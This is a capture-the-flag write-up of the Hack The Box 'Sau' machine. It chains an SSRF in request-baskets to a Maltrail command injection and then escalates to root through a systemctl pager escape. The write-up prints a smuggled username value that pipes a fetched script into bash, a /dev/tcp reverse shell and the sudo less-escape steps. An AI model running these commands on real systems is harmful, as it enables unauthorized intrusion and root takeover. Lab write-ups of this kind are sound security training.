Sau Writeup

06 January 2024 #CTF #HTB #box #linux #easy

sau info



$ sudo nmap -sC -sV
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 08 Jul 2023 19:37:35 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 08 Jul 2023 19:37:09 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 08 Jul 2023 19:37:09 GMT
|_    Content-Length: 0

It's interesting to note that ports 80 and 8338 are filtered which most likely means they are blocked by a firewall rule.


Port 55555 is the only port available to us (except SSH) so we have no choice but to take a look:

request baskets app

In the footer of the page, we get a link to a Github repo and the version of the software:


This version is vulnerable to a SSRF.


Let's use the SSRF to see what is running on port 80:

curl -H 'Content-Type: application/json' -d '{"forward_url": "", "proxy_response": true}'

This request will create a new endpoint /test. Whenever we hit the server will make a request to (and send the response back to us thanks to the "proxy_response": true option).

Let's trigger it:

trigger SSRF

Although the CSS doesn't load properly, we can find the version of the software used at the bottom of the page:

Mailtrail version

Turns out this version is vulnerable to an unauthenticated command injection.

The login endpoint is on port 8338 so we need to create another basket:

curl -H 'Content-Type: application/json' -d '{"forward_url": ""}'

We don't care about seeing the response so we can omit the "proxy_response": true this time.

Let's exploit the vuln and get a reverse shell:

curl --data-urlencode 'username=;`curl|bash`'

Host (with sudo python3 -m http.server 80) a file index.html with the following content:

bash -i >& /dev/tcp/ 0>&1

Putting the reverse shell payload directly in the POST request didn't work for me...


Our user can run a systemctl command as root without the password:

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

systemctl status prints information about the service passed as argument. If the output has more lines that are available in the terminal, it will pipe its output to a pager (less by default). less has a feature to execute arbitrary commands by typing ! followed by the command.

In order to trigger the pager, we could resize our terminal to be really small, but it's not very convenient if you're using a tiling window manager like me. Instead we can use the stty command to virtually resize our terminal:

puma@sau:~$ stty rows 2

Now our terminal has only 2 rows, so it should definitely trigger the use of the pager:

puma@sau:~$ sudo systemctl status trail.service
‚óŹ trail.service - Maltrail. Server of malicious traffic detection system
root@sau:/home/puma# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways